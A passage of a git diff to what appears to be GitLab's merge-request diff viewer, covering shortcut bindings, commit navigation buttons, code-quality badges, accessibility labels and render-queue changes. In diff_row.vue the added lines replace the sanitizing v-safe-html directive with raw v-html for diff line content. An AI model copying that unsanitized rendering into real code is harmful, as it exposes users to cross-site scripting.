- },
needsReload() {
return this.diffFiles.length && isSingleViewStyle(this.diffFiles[0]);
},
@@ -361,8 +379,6 @@ export default {
.then(({ real_size }) => {
this.diffFilesLength = parseInt(real_size, 10);
if (toggleTree) this.setTreeDisplay();
-
- this.startDiffRendering();
})
.catch(() => {
createFlash(__('Something went wrong on our end. Please try again!'));
@@ -377,7 +393,6 @@ export default {
// change when loading the other half of the diff files.
this.setDiscussions();
})
- .then(() => this.startDiffRendering())
.catch(() => {
createFlash(__('Something went wrong on our end. Please try again!'));
});
@@ -386,6 +401,10 @@ export default {
this.fetchCoverageFiles();
}
+ if (this.endpointCodequality) {
+ this.fetchCodequality();
+ }
+
if (!this.isNotesFetched) {
notesEventHub.$emit('fetchNotesData');
}
@@ -406,30 +425,23 @@ export default {
}
},
setEventListeners() {
- Mousetrap.bind(['[', 'k', ']', 'j'], (e, combo) => {
- switch (combo) {
- case '[':
- case 'k':
- this.jumpToFile(-1);
- break;
- case ']':
- case 'j':
- this.jumpToFile(+1);
- break;
- default:
- break;
- }
- });
+ Mousetrap.bind(keysFor(MR_PREVIOUS_FILE_IN_DIFF), () => this.jumpToFile(-1));
+ Mousetrap.bind(keysFor(MR_NEXT_FILE_IN_DIFF), () => this.jumpToFile(+1));
if (this.commit) {
- Mousetrap.bind('c', () => this.moveToNeighboringCommit({ direction: 'next' }));
- Mousetrap.bind('x', () => this.moveToNeighboringCommit({ direction: 'previous' }));
+ Mousetrap.bind(keysFor(MR_COMMITS_NEXT_COMMIT), () =>
+ this.moveToNeighboringCommit({ direction: 'next' }),
+ );
+ Mousetrap.bind(keysFor(MR_COMMITS_PREVIOUS_COMMIT), () =>
+ this.moveToNeighboringCommit({ direction: 'previous' }),
+ );
}
},
removeEventListeners() {
- Mousetrap.unbind(['[', 'k', ']', 'j']);
- Mousetrap.unbind('c');
- Mousetrap.unbind('x');
+ Mousetrap.unbind(keysFor(MR_PREVIOUS_FILE_IN_DIFF));
+ Mousetrap.unbind(keysFor(MR_NEXT_FILE_IN_DIFF));
+ Mousetrap.unbind(keysFor(MR_COMMITS_NEXT_COMMIT));
+ Mousetrap.unbind(keysFor(MR_COMMITS_PREVIOUS_COMMIT));
},
jumpToFile(step) {
const targetIndex = this.currentDiffIndex + step;
@@ -489,6 +501,7 @@ export default {
<div
v-if="renderFileTree"
:style="{ width: `${treeWidth}px` }"
+ :class="{ 'review-bar-visible': draftsCount > 0 }"
class="diff-tree-list js-diff-tree-list px-3 pr-md-0"
>
<panel-resizer
diff --git a/app/assets/javascripts/diffs/components/commit_item.vue b/app/assets/javascripts/diffs/components/commit_item.vue
index 92b317eb3f0..bc0f2fb0b69 100644
--- a/app/assets/javascripts/diffs/components/commit_item.vue
+++ b/app/assets/javascripts/diffs/components/commit_item.vue
@@ -1,7 +1,6 @@
<script>
/* eslint-disable vue/no-v-html */
-import { GlButtonGroup, GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import { mapActions } from 'vuex';
+import { GlButtonGroup, GlButton, GlTooltipDirective } from '@gitlab/ui';
import CommitPipelineStatus from '~/projects/tree/components/commit_pipeline_status_component.vue';
import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
@@ -9,7 +8,6 @@ import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { setUrlParams } from '../../lib/utils/url_utility';
import initUserPopovers from '../../user_popovers';
/**
@@ -24,14 +22,6 @@ import initUserPopovers from '../../user_popovers';
* coexist, but there is an issue to remove the duplication.
* https://gitlab.com/gitlab-org/gitlab-foss/issues/51613
*
- * EXCEPTION WARNING
- * 1. The commit navigation buttons (next neighbor, previous neighbor)
- * are not duplicated because:
- * - We don't have the same data available on the Rails side (yet,
- * without backend work)
- * - This Vue component should always be what's used when in the
- * context of an MR diff, so the HAML should never have any idea
- * about navigating among commits.
*/
export default {
@@ -42,7 +32,6 @@ export default {
CommitPipelineStatus,
GlButtonGroup,
GlButton,
- GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -94,28 +83,12 @@ export default {
// Strip the newline at the beginning
return this.commit.description_html.replace(/^&#x000A;/, '');
},
- nextCommitUrl() {
- return this.commit.next_commit_id
- ? setUrlParams({ commit_id: this.commit.next_commit_id })
- : '';
- },
- previousCommitUrl() {
- return this.commit.prev_commit_id
- ? setUrlParams({ commit_id: this.commit.prev_commit_id })
- : '';
- },
- hasNeighborCommits() {
- return this.commit.next_commit_id || this.commit.prev_commit_id;
- },
},
created() {
this.$nextTick(() => {
initUserPopovers(this.$el.querySelectorAll('.js-user-link'));
});
},
- methods: {
- ...mapActions('diffs', ['moveToNeighboringCommit']),
- },
};
</script>
@@ -146,38 +119,6 @@ export default {
class="input-group-text"
/>
</gl-button-group>
- <div v-if="hasNeighborCommits" class="commit-nav-buttons ml-3">
- <gl-button-group>
- <gl-button
- :href="previousCommitUrl"
- :disabled="!commit.prev_commit_id"
- @click.prevent="moveToNeighboringCommit({ direction: 'previous' })"
- >
- <span
- v-if="!commit.prev_commit_id"
- v-gl-tooltip
- class="h-100 w-100 position-absolute"
- :title="__('You\'re at the first commit')"
- ></span>
- <gl-icon name="chevron-left" />
- {{ __('Prev') }}
- </gl-button>
- <gl-button
- :href="nextCommitUrl"
- :disabled="!commit.next_commit_id"
- @click.prevent="moveToNeighboringCommit({ direction: 'next' })"
- >
- <span
- v-if="!commit.next_commit_id"
- v-gl-tooltip
- class="h-100 w-100 position-absolute"
- :title="__('You\'re at the last commit')"
- ></span>
- {{ __('Next') }}
- <gl-icon name="chevron-right" />
- </gl-button>
- </gl-button-group>
- </div>
</div>
<div>
<div class="d-flex float-left align-items-center align-self-start">
diff --git a/app/assets/javascripts/diffs/components/compare_versions.vue b/app/assets/javascripts/diffs/components/compare_versions.vue
index 6b1e2bfb34e..7526c5347f7 100644
--- a/app/assets/javascripts/diffs/components/compare_versions.vue
+++ b/app/assets/javascripts/diffs/components/compare_versions.vue
@@ -1,7 +1,8 @@
<script>
-import { GlTooltipDirective, GlLink, GlButton, GlSprintf } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon, GlLink, GlButtonGroup, GlButton, GlSprintf } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { __ } from '~/locale';
+import { setUrlParams } from '../../lib/utils/url_utility';
import { CENTERED_LIMITED_CONTAINER_CLASSES, EVT_EXPAND_ALL_FILES } from '../constants';
import eventHub from '../event_hub';
import CompareDropdownLayout from './compare_dropdown_layout.vue';
@@ -11,7 +12,9 @@ import SettingsDropdown from './settings_dropdown.vue';
export default {
components: {
CompareDropdownLayout,
+ GlIcon,
GlLink,
+ GlButtonGroup,
GlButton,
GlSprintf,
SettingsDropdown,
@@ -56,6 +59,19 @@ export default {
hasSourceVersions() {
return this.diffCompareDropdownSourceVersions.length > 0;
},
+ nextCommitUrl() {
+ return this.commit.next_commit_id
+ ? setUrlParams({ commit_id: this.commit.next_commit_id })
+ : '';
+ },
+ previousCommitUrl() {
+ return this.commit.prev_commit_id
+ ? setUrlParams({ commit_id: this.commit.prev_commit_id })
+ : '';
+ },
+ hasNeighborCommits() {
+ return this.commit && (this.commit.next_commit_id || this.commit.prev_commit_id);
+ },
},
created() {
this.CENTERED_LIMITED_CONTAINER_CLASSES = CENTERED_LIMITED_CONTAINER_CLASSES;
@@ -65,6 +81,7 @@ export default {
expandAllFiles() {
eventHub.$emit(EVT_EXPAND_ALL_FILES);
},
+ ...mapActions('diffs', ['moveToNeighboringCommit']),
},
};
</script>
@@ -84,6 +101,7 @@ export default {
icon="file-tree"
class="gl-mr-3 js-toggle-tree-list"
:title="toggleFileBrowserTitle"
+ :aria-label="toggleFileBrowserTitle"
:selected="showTreeList"
@click="setShowTreeList({ showTreeList: !showTreeList })"
/>
@@ -91,6 +109,38 @@ export default {
{{ __('Viewing commit') }}
<gl-link :href="commit.commit_url" class="monospace">{{ commit.short_id }}</gl-link>
</div>
+ <div v-if="hasNeighborCommits" class="commit-nav-buttons ml-3">
+ <gl-button-group>
+ <gl-button
+ :href="previousCommitUrl"
+ :disabled="!commit.prev_commit_id"
+ @click.prevent="moveToNeighboringCommit({ direction: 'previous' })"
+ >
+ <span
+ v-if="!commit.prev_commit_id"
+ v-gl-tooltip
+ class="h-100 w-100 position-absolute position-top-0 position-left-0"
+ :title="__('You\'re at the first commit')"
+ ></span>
+ <gl-icon name="chevron-left" />
+ {{ __('Prev') }}
+ </gl-button>
+ <gl-button
+ :href="nextCommitUrl"
+ :disabled="!commit.next_commit_id"
+ @click.prevent="moveToNeighboringCommit({ direction: 'next' })"
+ >
+ <span
+ v-if="!commit.next_commit_id"
+ v-gl-tooltip
+ class="h-100 w-100 position-absolute position-top-0 position-left-0"
+ :title="__('You\'re at the last commit')"
+ ></span>
+ {{ __('Next') }}
+ <gl-icon name="chevron-right" />
+ </gl-button>
+ </gl-button-group>
+ </div>
<gl-sprintf
v-else-if="hasSourceVersions"
class="d-flex align-items-center compare-versions-container"
diff --git a/app/assets/javascripts/diffs/components/diff_discussions.vue b/app/assets/javascripts/diffs/components/diff_discussions.vue
index d0d457d8582..5e05ec87f84 100644
--- a/app/assets/javascripts/diffs/components/diff_discussions.vue
+++ b/app/assets/javascripts/diffs/components/diff_discussions.vue
@@ -68,6 +68,7 @@ export default {
}"
type="button"
class="js-diff-notes-toggle"
+ :aria-label="__('Show comments')"
@click="toggleDiscussion({ discussionId: discussion.id })"
>
<gl-icon v-if="discussion.expanded" name="collapse" class="collapse-icon" />
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index ca4543f7002..bdbc13a38c4 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -80,7 +80,7 @@ export default {
genericError: GENERIC_ERROR,
},
computed: {
- ...mapState('diffs', ['currentDiffFileId']),
+ ...mapState('diffs', ['currentDiffFileId', 'codequalityDiff']),
...mapGetters(['isNotesFetched']),
...mapGetters('diffs', ['getDiffFileDiscussions']),
viewBlobHref() {
@@ -148,6 +148,11 @@ export default {
return loggedIn && featureOn;
},
+ hasCodequalityChanges() {
+ return (
+ this.codequalityDiff?.files && this.codequalityDiff?.files[this.file.file_path]?.length > 0
+ );
+ },
},
watch: {
'file.id': {
@@ -294,6 +299,7 @@ export default {
:add-merge-request-buttons="true"
:view-diffs-file-by-file="viewDiffsFileByFile"
:show-local-file-reviews="showLocalFileReviews"
+ :has-codequality-changes="hasCodequalityChanges"
class="js-file-title file-title gl-border-1 gl-border-solid gl-border-gray-100"
:class="hasBodyClasses.header"
@toggleFile="handleToggle"
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 1f50b3a38a6..3b4e21ab61b 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -41,6 +41,7 @@ export default {
GlDropdownDivider,
GlFormCheckbox,
GlLoadingIcon,
+ CodeQualityBadge: () => import('ee_component/diffs/components/code_quality_badge.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -49,6 +50,7 @@ export default {
mixins: [glFeatureFlagsMixin()],
i18n: {
...DIFF_FILE_HEADER,
+ compareButtonLabel: s__('Compare submodule commit revisions'),
},
props: {
discussionPath: {
@@ -94,6 +96,11 @@ export default {
required: false,
default: false,
},
+ hasCodequalityChanges: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -192,6 +199,9 @@ export default {
isReviewable() {
return reviewable(this.diffFile);
},
+ externalUrlLabel() {
+ return sprintf(__('View on %{url}'), { url: this.diffFile.formatted_external_url });
+ },
},
methods: {
...mapActions('diffs', [
@@ -323,6 +333,8 @@ export default {
data-track-property="diff_copy_file"
/>
+ <code-quality-badge v-if="hasCodequalityChanges" class="gl-mr-2" />
+
<small v-if="isModeChanged" ref="fileMode" class="mr-1">
{{ diffFile.a_mode }} → {{ diffFile.b_mode }}
</small>
@@ -352,7 +364,8 @@ export default {
ref="externalLink"
v-gl-tooltip.hover
:href="diffFile.external_url"
- :title="`View on ${diffFile.formatted_external_url}`"
+ :title="externalUrlLabel"
+ :aria-label="externalUrlLabel"
target="_blank"
data-track-event="click_toggle_external_button"
data-track-label="diff_toggle_external_button"
@@ -444,7 +457,8 @@ export default {
v-gl-tooltip.hover
v-safe-html="submoduleDiffCompareLinkText"
class="submodule-compare"
- :title="s__('Compare submodule commit revisions')"
+ :title="$options.i18n.compareButtonLabel"
+ :aria-label="$options.i18n.compareButtonLabel"
:href="diffFile.submodule_compare.url"
/>
</div>
diff --git a/app/assets/javascripts/diffs/components/diff_line_note_form.vue b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
index 2f09f2e24b2..51da1966630 100644
--- a/app/assets/javascripts/diffs/components/diff_line_note_form.vue
+++ b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
@@ -10,7 +10,12 @@ import {
} from '../../notes/components/multiline_comment_utils';
import noteForm from '../../notes/components/note_form.vue';
import autosave from '../../notes/mixins/autosave';
-import { DIFF_NOTE_TYPE, INLINE_DIFF_LINES_KEY, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
+import {
+ DIFF_NOTE_TYPE,
+ INLINE_DIFF_LINES_KEY,
+ PARALLEL_DIFF_VIEW_TYPE,
+ OLD_LINE_TYPE,
+} from '../constants';
export default {
components: {
@@ -113,6 +118,34 @@ export default {
const lines = getDiffLines();
return commentLineOptions(lines, this.line, this.line.line_code, side);
},
+ commentLines() {
+ if (!this.selectedCommentPosition) return [];
+
+ const lines = [];
+ const { start, end } = this.selectedCommentPosition;
+ const diffLines = this.diffFile[INLINE_DIFF_LINES_KEY];
+ let isAdding = false;
+
+ for (let i = 0, diffLinesLength = diffLines.length - 1; i <= diffLinesLength; i += 1) {
+ const line = diffLines[i];
+
+ if (start.line_code === line.line_code) {
+ isAdding = true;
+ }
+
+ if (isAdding) {
+ if (line.type !== OLD_LINE_TYPE) {
+ lines.push(line);
+ }
+
+ if (end.line_code === line.line_code) {
+ break;
+ }
+ }
+ }
+
+ return lines;
+ },
},
mounted() {
if (this.isLoggedIn) {
@@ -177,6 +210,7 @@ export default {
:is-editing="true"
:line-code="line.line_code"
:line="line"
+ :lines="commentLines"
:help-page-path="helpPagePath"
:diff-file="diffFile"
:show-suggest-popover="showSuggestPopover"
diff --git a/app/assets/javascripts/diffs/components/diff_row.vue b/app/assets/javascripts/diffs/components/diff_row.vue
index ab6890d66b5..8d398a2ded4 100644
--- a/app/assets/javascripts/diffs/components/diff_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_row.vue
@@ -1,5 +1,6 @@
<script>
-import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlTooltipDirective } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -12,17 +13,20 @@ import {
CONFLICT_THEIR,
CONFLICT_MARKER,
} from '../constants';
+import {
+ getInteropInlineAttributes,
+ getInteropOldSideAttributes,
+ getInteropNewSideAttributes,
+} from '../utils/interoperability';
import DiffGutterAvatars from './diff_gutter_avatars.vue';
import * as utils from './diff_row_utils';
export default {
components: {
- GlIcon,
DiffGutterAvatars,
},
directives: {
GlTooltip: GlTooltipDirective,
- SafeHtml,
},
mixins: [glFeatureFlagsMixin()],
props: {
@@ -117,6 +121,16 @@ export default {
isLeftConflictMarker() {
return [CONFLICT_MARKER_OUR, CONFLICT_MARKER_THEIR].includes(this.line.left?.type);
},
+ interopLeftAttributes() {
+ if (this.inline) {
+ return getInteropInlineAttributes(this.line.left);
+ }
+
+ return getInteropOldSideAttributes(this.line.left);
+ },
+ interopRightAttributes() {
+ return getInteropNewSideAttributes(this.line.right);
+ },
},
mounted() {
this.scrollToLineIfNeededParallel(this.line);
@@ -182,6 +196,7 @@ export default {
<div
data-testid="left-side"
class="diff-grid-left left-side"
+ v-bind="interopLeftAttributes"
@dragover.prevent
@dragenter="onDragEnter(line.left, index)"
@dragend="onDragEnd"
@@ -203,14 +218,13 @@ export default {
<button
:draggable="glFeatures.dragCommentSelection"
type="button"
- class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
+ class="add-diff-note unified-diff-components-diff-note-button note-button js-add-diff-note-button qa-diff-comment"
+ data-qa-selector="diff_comment_button"
:class="{ 'gl-cursor-grab': dragging }"
:disabled="line.left.commentsDisabled"
@click="handleCommentButton(line.left)"
@dragstart="onDragStart({ ...line.left, index })"
- >
- <gl-icon :size="12" name="comment" />
- </button>
+ ></button>
</span>
</template>
<a
@@ -258,7 +272,7 @@ export default {
@mousedown="handleParallelLineMouseDown"
>
<strong v-if="isLeftConflictMarker">{{ conflictText(line.left) }}</strong>
- <span v-else v-safe-html="line.left.rich_text"></span>
+ <span v-else v-html="line.left.rich_text"></span>
</div>
</template>
<template v-else-if="!inline || (line.left && line.left.type === $options.CONFLICT_MARKER)">
@@ -288,6 +302,7 @@ export default {
v-if="!inline"
data-testid="right-side"
class="diff-grid-right right-side"
+ v-bind="interopRightAttributes"
@dragover.prevent
@dragenter="onDragEnter(line.right, index)"
@dragend="onDragEnd"
@@ -305,14 +320,12 @@ export default {
<button
:draggable="glFeatures.dragCommentSelection"
type="button"
- class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
+ class="add-diff-note unified-diff-components-diff-note-button note-button js-add-diff-note-button qa-diff-comment"
:class="{ 'gl-cursor-grab': dragging }"
:disabled="line.right.commentsDisabled"
@click="handleCommentButton(line.right)"
@dragstart="onDragStart({ ...line.right, index })"
- >
- <gl-icon :size="12" name="comment" />
- </button>
+ ></button>
</span>
</template>
<a
@@ -349,7 +362,6 @@ export default {
<div
:id="line.right.line_code"
:key="line.right.rich_text"
- v-safe-html="line.right.rich_text"
:class="[
line.right.type,
{
@@ -364,7 +376,7 @@ export default {
<strong v-if="line.right.type === $options.CONFLICT_MARKER_THEIR">{{
conflictText(line.right)
}}</strong>
- <span v-else v-safe-html="line.right.rich_text"></span>
+ <span v-else v-html="line.right.rich_text"></span>
</div>
</template>
<template v-else>
diff --git a/app/assets/javascripts/diffs/components/image_diff_overlay.vue b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
index 3d05202fb2d..5572338908f 100644
--- a/app/assets/javascripts/diffs/components/image_diff_overlay.vue
+++ b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
@@ -122,6 +122,7 @@ export default {
:disabled="!shouldToggleDiscussion"
class="js-image-badge"
type="button"
+ :aria-label="__('Show comments')"
@click="clickedToggle(discussion)"
>
<gl-icon v-if="showCommentIcon" name="image-comment-dark" :size="24" />
diff --git a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue b/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
index fb9202c5aab..25403b1547e 100644
--- a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
+++ b/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
@@ -2,6 +2,7 @@
import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { CONTEXT_LINE_CLASS_NAME } from '../constants';
+import { getInteropInlineAttributes } from '../utils/interoperability';
import DiffGutterAvatars from './diff_gutter_avatars.vue';
import {
isHighlighted,
@@ -96,6 +97,9 @@ export default {
shouldShowAvatarsOnGutter() {
return this.line.hasDiscussions;
},
+ interopAttrs() {
+ return getInteropInlineAttributes(this.line);
+ },
},
mounted() {
this.scrollToLineIfNeededInline(this.line);
@@ -124,6 +128,7 @@ export default {
:id="inlineRowId"
:class="classNameMap"
class="line_holder"
+ v-bind="interopAttrs"
@mouseover="handleMouseMove"
@mouseout="handleMouseMove"
>
@@ -140,8 +145,8 @@ export default {
ref="addDiffNoteButton"
type="button"
class="add-diff-note note-button js-add-diff-note-button"
- data-qa-selector="diff_comment_button"
:disabled="line.commentsDisabled"
+ :aria-label="addCommentTooltip"
@click="handleCommentButton"
>
<gl-icon :size="12" name="comment" />
diff --git a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue b/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
index 3d20dfd0c9b..96946d0fd88 100644
--- a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
+++ b/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
@@ -3,6 +3,10 @@ import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gi
import $ from 'jquery';
import { mapActions, mapGetters, mapState } from 'vuex';
import { CONTEXT_LINE_CLASS_NAME, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
+import {
+ getInteropOldSideAttributes,
+ getInteropNewSideAttributes,
+} from '../utils/interoperability';
import DiffGutterAvatars from './diff_gutter_avatars.vue';
import * as utils from './diff_row_utils';
@@ -108,6 +112,12 @@ export default {
this.line.hasDiscussionsRight,
);
},
+ interopLeftAttributes() {
+ return getInteropOldSideAttributes(this.line.left);
+ },
+ interopRightAttributes() {
+ return getInteropNewSideAttributes(this.line.right);
+ },
},
mounted() {
this.scrollToLineIfNeededParallel(this.line);
@@ -185,6 +195,7 @@ export default {
type="button"
class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
:disabled="line.left.commentsDisabled"
+ :aria-label="addCommentTooltipLeft"
@click="handleCommentButton(line.left)"
>
<gl-icon :size="12" name="comment" />
@@ -217,6 +228,7 @@ export default {
:key="line.left.line_code"
v-safe-html="line.left.rich_text"
:class="parallelViewLeftLineType"
+ v-bind="interopLeftAttributes"
class="line_content with-coverage parallel left-side"
@mousedown="handleParallelLineMouseDown"
></td>
@@ -241,6 +253,7 @@ export default {
type="button"
class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
:disabled="line.right.commentsDisabled"
+ :aria-label="addCommentTooltipRight"
@click="handleCommentButton(line.right)"
>
<gl-icon :size="12" name="comment" />
@@ -283,6 +296,7 @@ export default {
hll: isHighlighted,
},
]"
+ v-bind="interopRightAttributes"
class="line_content with-coverage parallel right-side"
@mousedown="handleParallelLineMouseDown"
></td>
diff --git a/app/assets/javascripts/diffs/index.js b/app/assets/javascripts/diffs/index.js
index 87e9af174e5..5a8862c2b70 100644
--- a/app/assets/javascripts/diffs/index.js
+++ b/app/assets/javascripts/diffs/index.js
@@ -73,6 +73,8 @@ export default function initDiffsApp(store) {
endpointMetadata: dataset.endpointMetadata || '',
endpointBatch: dataset.endpointBatch || '',
endpointCoverage: dataset.endpointCoverage || '',
+ endpointCodequality: dataset.endpointCodequality || '',
+ endpointUpdateUser: dataset.updateCurrentUserPath,
projectPath: dataset.projectPath,
helpPagePath: dataset.helpPagePath,
currentUser: JSON.parse(dataset.currentUserData) || {},
@@ -114,6 +116,8 @@ export default function initDiffsApp(store) {
endpointMetadata: this.endpointMetadata,
endpointBatch: this.endpointBatch,
endpointCoverage: this.endpointCoverage,
+ endpointCodequality: this.endpointCodequality,
+ endpointUpdateUser: this.endpointUpdateUser,
currentUser: this.currentUser,
projectPath: this.projectPath,
helpPagePath: this.helpPagePath,
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index 8796016def9..428faf693b0 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -49,7 +49,6 @@ import {
convertExpandLines,
idleCallback,
allDiscussionWrappersExpanded,
- prepareDiffData,
prepareLineForRenamedFile,
} from './utils';
@@ -59,6 +58,7 @@ export const setBaseConfig = ({ commit }, options) => {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointUpdateUser,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -71,6 +71,7 @@ export const setBaseConfig = ({ commit }, options) => {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointUpdateUser,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -163,7 +164,15 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
return pagination.next_page;
})
- .then((nextPage) => nextPage && getBatch(nextPage))
+ .then((nextPage) => {
+ dispatch('startRenderDiffsQueue');
+
+ if (nextPage) {
+ return getBatch(nextPage);
+ }
+
+ return null;
+ })
.catch(() => commit(types.SET_RETRIEVING_BATCHES, false));
return getBatch()
@@ -197,13 +206,7 @@ export const fetchDiffFilesMeta = ({ commit, state }) => {
commit(types.SET_MERGE_REQUEST_DIFFS, data.merge_request_diffs || []);
commit(types.SET_DIFF_METADATA, strippedData);
- worker.postMessage(
- prepareDiffData({
- diff: data,
- priorFiles: state.diffFiles,
- meta: true,
- }),
- );
+ worker.postMessage(data.diff_files);
return data;
})
@@ -304,33 +307,41 @@ export const renderFileForDiscussionId = ({ commit, rootState, state }, discussi
};
export const startRenderDiffsQueue = ({ state, commit }) => {
- const checkItem = () =>
- new Promise((resolve) => {
- const nextFile = state.diffFiles.find(
- (file) =>
- !file.renderIt &&
- file.viewer &&
- (!isCollapsed(file) || file.viewer.name !== diffViewerModes.text),
- );
-
- if (nextFile) {
- requestAnimationFrame(() => {
- commit(types.RENDER_FILE, nextFile);
+ const diffFilesToRender = state.diffFiles.filter(
+ (file) =>
+ !file.renderIt &&
+ file.viewer &&
+ (!isCollapsed(file) || file.viewer.name !== diffViewerModes.text),
+ );
+ let currentDiffFileIndex = 0;
+
+ const checkItem = () => {
+ const nextFile = diffFilesToRender[currentDiffFileIndex];
+
+ if (nextFile) {
+ let retryCount = 0;
+ currentDiffFileIndex += 1;
+ commit(types.RENDER_FILE, nextFile);
+
+ const requestIdle = () =>
+ requestIdleCallback((idleDeadline) => {
+ // Wait for at least 5ms before trying to render
+ // or for 5 tries and then force render the file
+ if (idleDeadline.timeRemaining() >= 5 || retryCount > 4) {
+ checkItem();
+ } else {
+ requestIdle();
+ retryCount += 1;
+ }
});
- requestIdleCallback(
- () => {
- checkItem()
- .then(resolve)
- .catch(() => {});
- },
- { timeout: 1000 },
- );
- } else {
- resolve();
- }
- });
- return checkItem();
+ requestIdle();
+ }
+ };
+
+ if (diffFilesToRender.length) {
+ checkItem();
+ }
};
export const setRenderIt = ({ commit }, file) => commit(types.RENDER_FILE, file);
@@ -738,10 +749,22 @@ export const navigateToDiffFileIndex = ({ commit, state }, index) => {
commit(types.VIEW_DIFF_FILE, fileHash);
};
-export const setFileByFile = ({ commit }, { fileByFile }) => {
+export const setFileByFile = ({ state, commit }, { fileByFile }) => {
const fileViewMode = fileByFile ? DIFF_VIEW_FILE_BY_FILE : DIFF_VIEW_ALL_FILES;
commit(types.SET_FILE_BY_FILE, fileByFile);
Cookies.set(DIFF_FILE_BY_FILE_COOKIE_NAME, fileViewMode);
+
+ return axios
+ .put(state.endpointUpdateUser, {
+ view_diffs_file_by_file: fileByFile,
+ })
+ .then(() => {
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/326961
+ // We can't even do a simple console warning here because
+ // the pipeline will fail. However, the issue above will
+ // eventually handle errors appropriately.
+ // console.warn('Saving the file-by-fil user preference failed.');
+ });
};
export function reviewFile({ commit, state }, { file, reviewed = true }) {
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index 1fc2a684e95..dec3f87b03e 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -156,16 +156,16 @@ export const diffLines = (state) => (file, unifiedDiffComponents) => {
);
};
-export function suggestionCommitMessage(state) {
+export function suggestionCommitMessage(state, _, rootState) {
return (values = {}) =>
computeSuggestionCommitMessage({
message: state.defaultSuggestionCommitMessage,
values: {
- branch_name: state.branchName,
- project_path: state.projectPath,
- project_name: state.projectName,
- username: state.username,
- user_full_name: state.userFullName,
+ branch_name: rootState.page.mrMetadata.branch_name,
+ project_path: rootState.page.mrMetadata.project_path,
+ project_name: rootState.page.mrMetadata.project_name,
+ username: rootState.page.mrMetadata.username,
+ user_full_name: rootState.page.mrMetadata.user_full_name,
...values,
},
});
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index f93435363ec..1674d3d3b5a 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -9,7 +9,8 @@ import {
import { fileByFile } from '../../utils/preferences';
import { getDefaultWhitespace } from '../utils';
-const viewTypeFromQueryString = getParameterValues('view')[0];
+const getViewTypeFromQueryString = () => getParameterValues('view')[0];
+
const viewTypeFromCookie = Cookies.get(DIFF_VIEW_COOKIE_NAME);
const defaultViewType = INLINE_DIFF_VIEW_TYPE;
const whiteSpaceFromQueryString = getParameterValues('w')[0];
@@ -23,6 +24,7 @@ export default () => ({
addedLines: null,
removedLines: null,
endpoint: '',
+ endpointUpdateUser: '',
basePath: '',
commit: null,
startVersion: null, // Null unless a target diff is selected for comparison that is not the "base" diff
@@ -30,7 +32,7 @@ export default () => ({
coverageFiles: {},
mergeRequestDiffs: [],
mergeRequestDiff: null,
- diffViewType: viewTypeFromQueryString || viewTypeFromCookie || defaultViewType,
+ diffViewType: getViewTypeFromQueryString() || viewTypeFromCookie || defaultViewType,
tree: [],
treeEntries: {},
showTreeList: true,
diff --git a/app/assets/javascripts/diffs/store/modules/index.js b/app/assets/javascripts/diffs/store/modules/index.js
